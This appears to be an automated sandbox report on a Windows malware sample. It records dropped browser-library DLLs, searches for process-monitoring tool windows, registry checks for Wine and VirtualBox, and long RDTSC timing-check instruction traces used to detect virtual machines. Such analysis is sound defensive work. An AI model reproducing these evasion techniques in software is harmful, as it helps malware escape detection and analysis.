Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5D55F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB245D second address: FB247A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D53689h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB18D4 second address: FB18DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBCF475A736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1B80 second address: FB1B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1B85 second address: FB1B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1B8B second address: FB1B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1B8F second address: FB1BBF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FBCF475A73Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBCF475A746h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1D18 second address: FB1D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1D1D second address: FB1D31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB37C5 second address: FB3808 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBCF4D53678h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 19DE61B1h 0x00000013 lea ebx, dword ptr [ebp+124495D2h] 0x00000019 jmp 00007FBCF4D5367Fh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007FBCF4D53680h 0x00000027 jnl 00007FBCF4D53676h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB390C second address: FB3911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3911 second address: FB3935 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3935 second address: FB393A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB393A second address: FB396D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCF4D5367Fh 0x00000008 jmp 00007FBCF4D53687h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB396D second address: FB3A05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A747h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 js 00007FBCF475A736h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 jmp 00007FBCF475A73Ah 0x0000001e popad 0x0000001f pop eax 0x00000020 mov ecx, dword ptr [ebp+122D1B3Bh] 0x00000026 push 00000003h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007FBCF475A738h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 mov dword ptr [ebp+122D31E9h], edi 0x00000048 push 00000000h 0x0000004a push 00000003h 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007FBCF475A738h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 00000019h 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 cld 0x00000067 call 00007FBCF475A739h 0x0000006c push eax 0x0000006d push edx 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3A05 second address: FB3A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3A0A second address: FB3A4E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBCF475A74Dh 0x00000008 jmp 00007FBCF475A747h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 jmp 00007FBCF475A741h 0x00000017 pop eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pop edx 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3A4E second address: FB3A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FBCF4D53678h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 jg 00007FBCF4D53678h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3B35 second address: FB3B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3B39 second address: FB3C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov ecx, eax 0x0000000a jbe 00007FBCF4D5367Ch 0x00000010 push 00000000h 0x00000012 mov ecx, dword ptr [ebp+122D38CEh] 0x00000018 push CE7317C9h 0x0000001d pushad 0x0000001e jbe 00007FBCF4D53678h 0x00000024 jmp 00007FBCF4D53685h 0x00000029 popad 0x0000002a add dword ptr [esp], 318CE8B7h 0x00000031 adc dx, E752h 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FBCF4D53678h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jns 00007FBCF4D53678h 0x00000058 push ebx 0x00000059 mov edx, ecx 0x0000005b pop edi 0x0000005c push 00000000h 0x0000005e mov ecx, edi 0x00000060 push 00000003h 0x00000062 stc 0x00000063 push B1E00794h 0x00000068 jmp 00007FBCF4D5367Eh 0x0000006d xor dword ptr [esp], 71E00794h 0x00000074 mov ch, C4h 0x00000076 lea ebx, dword ptr [ebp+124495E6h] 0x0000007c movsx edx, di 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007FBCF4D53687h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C00 second address: FB3C05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C05 second address: FB3C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A81 second address: FD5AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF475A747h 0x00000009 jmp 00007FBCF475A746h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3813 second address: FD3832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBCF4D53676h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FBCF4D53680h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD39A4 second address: FD39A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3B20 second address: FD3B2C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBCF4D53676h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3B2C second address: FD3B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CA7 second address: FD3CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007FBCF4D53676h 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FBCF4D53676h 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007FBCF4D5368Fh 0x0000001e jmp 00007FBCF4D53689h 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 pop esi 0x00000027 jmp 00007FBCF4D53687h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CF9 second address: FD3CFF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3CFF second address: FD3D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3D09 second address: FD3D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3E43 second address: FD3E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FB1 second address: FD3FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FB6 second address: FD3FBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4226 second address: FD422C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD422C second address: FD4230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4230 second address: FD423C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4825 second address: FD486A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBCF4D53676h 0x0000000a jmp 00007FBCF4D53684h 0x0000000f jmp 00007FBCF4D53685h 0x00000014 popad 0x00000015 popad 0x00000016 push edx 0x00000017 jbe 00007FBCF4D5367Ch 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD486A second address: FD4876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBCF475A736h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC0C6 second address: FAC0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC0CA second address: FAC0FD instructions: 0x00000000 rdtsc 0x00000002 je 00007FBCF475A736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jo 00007FBCF475A736h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FBCF475A749h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC0FD second address: FAC116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53682h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4B6E second address: FD4B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBCF475A736h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4B7C second address: FD4B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4B86 second address: FD4B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD50AD second address: FD50C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FBCF4D53676h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD50C8 second address: FD50D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBCF475A736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD50D2 second address: FD50EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FBCF4D53687h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD50EF second address: FD50F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD50F3 second address: FD50FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD527D second address: FD5292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBCF475A736h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FBCF475A736h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5292 second address: FD5296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5401 second address: FD5426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FBCF475A745h 0x0000000a popad 0x0000000b jne 00007FBCF475A75Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5426 second address: FD542C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD557C second address: FD559D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBCF475A736h 0x00000008 jmp 00007FBCF475A747h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD587C second address: FD58C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FBCF4D53676h 0x0000000a jmp 00007FBCF4D53685h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 jnp 00007FBCF4D5367Ah 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007FBCF4D5367Eh 0x00000024 jc 00007FBCF4D53676h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7069 second address: FD707F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FBCF475A73Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA683 second address: FAA689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9548 second address: FD954C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD954C second address: FD955E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD955E second address: FD9575 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBCF475A738h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jno 00007FBCF475A736h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9702 second address: FD9708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9708 second address: FD970C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD970C second address: FD9710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9710 second address: FD973A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d jmp 00007FBCF475A742h 0x00000012 pop eax 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD973A second address: FD9758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FBCF4D5367Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9758 second address: FD975C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A02 second address: FE2A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D53688h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A25 second address: FE2A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A2B second address: FE2A35 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBCF4D53676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A35 second address: FE2A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A3B second address: FE2A5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCF4D53684h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A5F second address: FE2A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A6B second address: FE2A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA39FB second address: FA39FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
